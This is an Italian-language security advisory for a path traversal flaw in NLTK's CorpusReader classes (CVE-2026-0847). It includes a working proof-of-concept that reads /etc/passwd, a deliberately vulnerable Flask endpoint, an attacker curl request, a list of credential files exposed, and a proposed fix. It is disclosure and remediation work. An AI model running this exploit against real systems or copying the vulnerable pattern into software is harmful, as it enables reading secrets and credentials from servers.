
Una vulnerabilità nelle versioni di NLTK fino alla 3.9.2 inclusa consente la lettura arbitraria di file tramite path traversal in diverse classi CorpusReader, tra cui WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-0847 |
| Pacchetto | nltk (Natural Language Toolkit) |
| Registro | PyPI |
| Versioni Affette | <= 3.9.2 |
| Tipo di Vulnerabilità | CWE-22: Path Traversal |
| Punteggio CVSS | 8.6 (Alto) |
| Vettore di Attacco | Rete |
| Complessità di Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Impatto sulla Riservatezza | Alto |
| Impatto sull'Integrità | Basso |
| Impatto sulla Disponibilità | Basso |
| Segnalato il | 4 dicembre 2025 |
| CVE Pubblicato | 4 marzo 2026 |
| Supportato da | Palo Alto Networks / Prisma AIRS |
| Stato | Risolto |
Diverse classi CorpusReader nella libreria NLTK accettano argomenti di percorso file senza applicare alcuna canonicalizzazione del percorso, validazione tramite allowlist o restrizioni sandbox. Quando un attaccante controlla il nome del file del corpus o l'input file — uno scenario comune nelle API di machine learning, nelle pipeline NLP basate su upload e nei servizi chatbot — può fornire un percorso appositamente costruito per attraversare la gerarchia delle directory e leggere file arbitrari sul server.
Questa vulnerabilità è particolarmente critica nelle distribuzioni in rete in cui NLTK elabora percorsi file controllati dall'utente, poiché per sfruttarla non è richiesta alcuna autenticazione o privilegio.
| Classe | File | Stato |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Vulnerabile |
TaggedCorpusReader | tagged.py L1–L140 | Vulnerabile |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Vulnerabile |
| Altre classi che utilizzano lo stesso pattern di base | — | In attesa di un audit più ampio |
Tutte e tre le classi ereditano lo stesso metodo non sicuro CorpusReader.open(), che non applica alcuna restrizione sul percorso prima di risolvere e leggere l'identificatore di file fornito.
Lo sfruttamento riuscito di questa vulnerabilità può comportare:
/etc/passwd, /etc/shadow e /var/log/auth.log~/.ssh/id_rsa), file .env, token API e file di credenziali cloud possono essere estrattiQueste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non effettuare test su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Output (abbreviato):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Uno scenario realistico in cui NLTK è esposto tramite un'API HTTP:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Richiesta dell'attaccante:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Risultato: L'intero contenuto di /etc/passwd viene restituito all'attaccante senza richiedere autenticazione.
La vulnerabilità ha origine in CorpusReader.open(). Il metodo risolve il fileid fornito direttamente rispetto al percorso radice configurato utilizzando FileSystemPathPointer.join() senza eseguire nessuno dei seguenti controlli:
..)Poiché FileSystemPathPointer può essere inizializzato con /, un attaccante che controlla l'argomento del nome file dispone di accesso in lettura senza restrizioni all'intero filesystem.
Correzione minima proposta dal ricercatore, da applicare all'interno di CorpusReader.open():
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
La pull request di correzione upstream è disponibile su: https://github.com/nltk/nltk/pull/3479